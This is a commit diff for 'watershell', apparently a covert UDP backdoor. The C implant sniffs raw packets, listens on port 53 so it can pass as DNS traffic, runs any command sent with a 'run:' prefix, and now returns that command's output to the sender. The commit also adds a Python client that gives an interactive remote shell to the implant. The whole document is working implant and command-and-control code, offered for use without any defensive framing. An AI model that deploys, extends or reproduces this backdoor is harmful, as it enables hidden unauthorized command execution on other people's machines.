added output from watershell and made little cli for it

watershell-cli.py

@@ -0,0 +1,58 @@
+import socket, time, sys
+
+
+def recv_timeout(the_socket,timeout=2):
+    #make socket non blocking
+    the_socket.setblocking(0)
+    
+    #total data partwise in an array
+    total_data=[];
+    data='';
+    
+    #beginning time
+    begin=time.time()
+    while 1:
+        #if you got some data, then break after timeout
+        if total_data and time.time()-begin > timeout:
+            break
+        
+        #if you got no data at all, wait a little longer, twice the timeout
+        elif time.time()-begin > timeout*2:
+            break
+        
+        #recv something
+        try:
+            data = the_socket.recv(8192)
+            if data:
+                total_data.append(data.decode())
+                #change the beginning time for measurement
+                begin=time.time()
+            else:
+                #sleep for sometime to indicate a gap
+                time.sleep(0.1)
+        except:
+            pass
+    
+    #join all parts to make final string
+    return ''.join(total_data)
+
+if __name__ == '__main__':
+    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    s.bind(("", 53316))
+    box = (sys.argv[1], int(sys.argv[2]))
+    print("Connecting to Watershell on {}...".format(box))
+    s.sendto(b'status:', box)
+    resp = recv_timeout(s, 1)
+    if resp == "up":
+        print("Connected!")
+    else:
+        print("Connection Failed...")
+        sys.exit(1)
+    while True:
+        cmd = input("//\\\\watershell//\\\\>> ")
+        if cmd == 'exit':
+            break
+        if len(cmd) > 1:
+            s.sendto(("run:"+cmd).encode(), box)
+            resp = recv_timeout(s, 2)
+            print(resp)

watershell.c

@@ -17,10 +17,10 @@
 
 /* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
 #ifndef IFACE
-#define IFACE "ens160"
+#define IFACE "ens33"
 #endif
 #ifndef PORT
-#define PORT 80
+#define PORT 53
 #endif
 #ifndef PROMISC
 #define PROMISC false
@@ -156,18 +156,45 @@ int main(int argc, char *argv[])
         ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
         udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
         udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
+
+
+        //checkup on the service, make sure it is still there
+        if(!strncmp(udpdata, "status:", 7)){
+            send_status(buf, "up");
+        }
+
         //run a command if the data is prefixed with run:
         if (!strncmp(udpdata, "run:", 4)){
             int out = open("/dev/null", O_WRONLY);
             int err = open("/dev/null", O_WRONLY);
 	    dup2(out, 0);
 	    dup2(err, 2);
-	    code = system(udpdata + 4); //replace with fork + exec
+
-	    
+            FILE *fd;
+            fd = popen(udpdata + 4, "r");
+            if (!fd) return -1;
+ 
+            char buffer[256];
+            size_t chread;
+            /* String to store entire command contents in */
+            size_t comalloc = 256;
+            size_t comlen   = 0;
+            char *comout   = malloc(comalloc);
+ 
+            /* Use fread so binary data is dealt with correctly */
+            while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
+                if (comlen + chread >= comalloc) {
+                    comalloc *= 2;
+                    comout = realloc(comout, comalloc);
+                }
+                memmove(comout + comlen, buffer, chread);
+                comlen += chread;
+            }
+            pclose(fd);
+            send_status(buf, comout);
+	
 	}
-        //checkup on the service, make sure it is still there
+        
-        if(!strncmp(udpdata, "status", 6))
-            send_status(buf, code);
     }
     return 0;
 }
@@ -191,22 +218,16 @@ void sigint(int signum){
 }
 
 //send a reply
-void send_status(unsigned char *buf, int code){
+void send_status(unsigned char *buf, char *payload){
     struct udpframe frame;
     struct sockaddr_ll saddrll;
     struct sockaddr_in sin;
-    int len = snprintf(NULL, 0, "%d", code);
+    int len;
-    char *prefix = "LISTENING: ";
+
-    char *ccode = (char*)calloc(1, len+1);
-    char *data = calloc(1, strlen(prefix)+len+2);
 
     //setup the data
     memset(&frame, 0, sizeof(frame));
-    snprintf(ccode, len+1, "%d", code);
+    strncpy(frame.data, payload, strlen(payload));
-    strncpy(data, prefix, strlen(prefix));
-    strncat(data, ccode, len+1);
-    strncat(data, "\n", 1);
-    strncpy(frame.data, data, strlen(data));
 
     //get the ifindex
     if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
@@ -230,7 +251,7 @@ void send_status(unsigned char *buf, int code){
     frame.ip.frag_off |= htons(IP_DF);
     frame.ip.ttl = 64;
     frame.ip.tos = 0;
-    frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(data));
+    frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(payload));
     frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
     frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
     frame.ip.protocol = IPPROTO_UDP;
@@ -238,19 +259,15 @@ void send_status(unsigned char *buf, int code){
     //layer 4
     frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
     frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
-    frame.udp.len = htons(strlen(data) + sizeof(frame.udp));
+    frame.udp.len = htons(strlen(payload) + sizeof(frame.udp));
 
     //checksums
     //udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
     ip_checksum(&frame.ip);
 
     //calculate total length and send
-    len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(data);
+    len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(payload);
     sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
-
-    //cleanup
-    free(ccode);
-    free(data);
 }
 
 /* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */

watershell.h

@@ -52,7 +52,7 @@ struct __attribute__((__packed__)) udpframe {
     unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
 };
 
-void send_status(unsigned char *buf, int code);
+void send_status(unsigned char *buf, char *payload);
 void sigint(int signum);
 void ip_checksum(struct iphdr *ip);
 void udp_checksum(struct iphdr *ip, unsigned short *payload);